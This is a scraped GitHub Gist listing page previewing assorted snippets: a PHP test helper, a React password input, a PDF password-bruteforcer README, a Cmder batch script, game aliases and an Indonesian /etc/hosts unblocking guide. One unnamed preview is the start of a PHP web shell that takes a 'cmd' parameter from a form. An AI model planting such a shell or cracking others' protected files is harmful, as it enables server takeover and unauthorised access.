Skip to content

Instantly share code, notes, and snippets.

View farisfaikar's full-sized avatar
🐭
I'd like one Razer Basilisk V3 Pro (White) Wireless Gaming Mouse, pretty please

Faris Faikar farisfaikar

🐭
I'd like one Razer Basilisk V3 Pro (White) Wireless Gaming Mouse, pretty please
View GitHub Profile
@ace-of-aces
ace-of-aces / pest-ide-helper.php
Created December 31, 2025 12:36
A helper file to improve Intellisense for PestPHP tests in VSCode
<?php
use Pest\Concerns\Expectable;
use Pest\PendingCalls\BeforeEachCall;
use Pest\PendingCalls\TestCall;
use Pest\Support\HigherOrderTapProxy;
use Tests\TestCase;
/**
* Runs the given closure before all tests in the current file.
@mjbalcueva
mjbalcueva / password-input.tsx
Last active December 9, 2025 16:51
shadcn ui custom password input
'use client'
import * as React from 'react'
import { EyeIcon, EyeOffIcon } from 'lucide-react'
import { Button } from '@/components/ui/button'
import { Input, type InputProps } from '@/components/ui/input'
import { cn } from '@/lib/utils'
const PasswordInput = React.forwardRef<HTMLInputElement, InputProps>(({ className, ...props }, ref) => {
@dhondta
dhondta / README.md
Last active February 7, 2025 10:52
Tinyscript tool to bruteforce the password of a PDF

PDF password bruteforcer

This is a small tool using Tinyscript and pypdf or pikepdf to bruteforce the password of a PDF given an alphabet (defaults to printables) and a length (default is 8).

$ pip install pypdf tinyscript
$ tsm pdf-password-bruteforcer
@nathonius
nathonius / thefuckcmder.bat
Last active August 29, 2024 11:13
thefuck for Cmder
@echo off
REM **************************
REM * RUN THIS FIRST *
REM * clink set history_io 1 *
REM **************************
set PYTHONIOENCODING=utf-8
set PYTHONLEGACYWINDOWSSTDIO=yes
tail -n 2 %CMDER_ROOT%\config\.history | head -n 1 > %CMDER_ROOT%\config\fucked_cmd.txt
set /p fucked_cmd=<%CMDER_ROOT%\config\fucked_cmd.txt
thefuck %fucked_cmd% > %CMDER_ROOT%\config\unfucked.cmd
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@LB--
LB-- / duskers-alias.txt
Last active April 10, 2023 04:52
My command aliases in Duskers
begin=open r1;navigate 1 2 a1; generator 2; status
end=navigate all r1
gg=gather
h=gather
sg=sensor;gather
qq=teleport 1 r1;teleport 2 r1;teleport 3 r1;teleport 4 r1;transport 1 2 3 4 r1
explore=teleport 1 $r; scan 1; probe 1; info 1; gather 1 all
check=sensor; teleport 1 sensor $r
move=teleport 1 sensor $r
fetch=navigate $x $r; tow $x; navigate $x r1
@mul14
mul14 / 00_etc-hosts.md
Last active November 18, 2025 07:42
/etc/hosts for Vimeo, Reddit, Imgur, GitHub, DigitalOcean, dll

Unblock Steam, Vimeo, Reddit, Imgur, GitHub, DigitalOcean, NPM, PayPal, dll

Saya support Internet Positif untuk memblokir porn, situs judi, dan hal-hal ilegal lainnya. Tapi pemerintah dan ISP sangat konyol karena tidak mengizinkan akses ke Vimeo, Reddit, Imgur, Netflix--yang mana bukanlah situs dengan konten utama ilegal.

Linux / BSD / macOS

Tambahkan list di bawah ke /etc/hosts.

Windows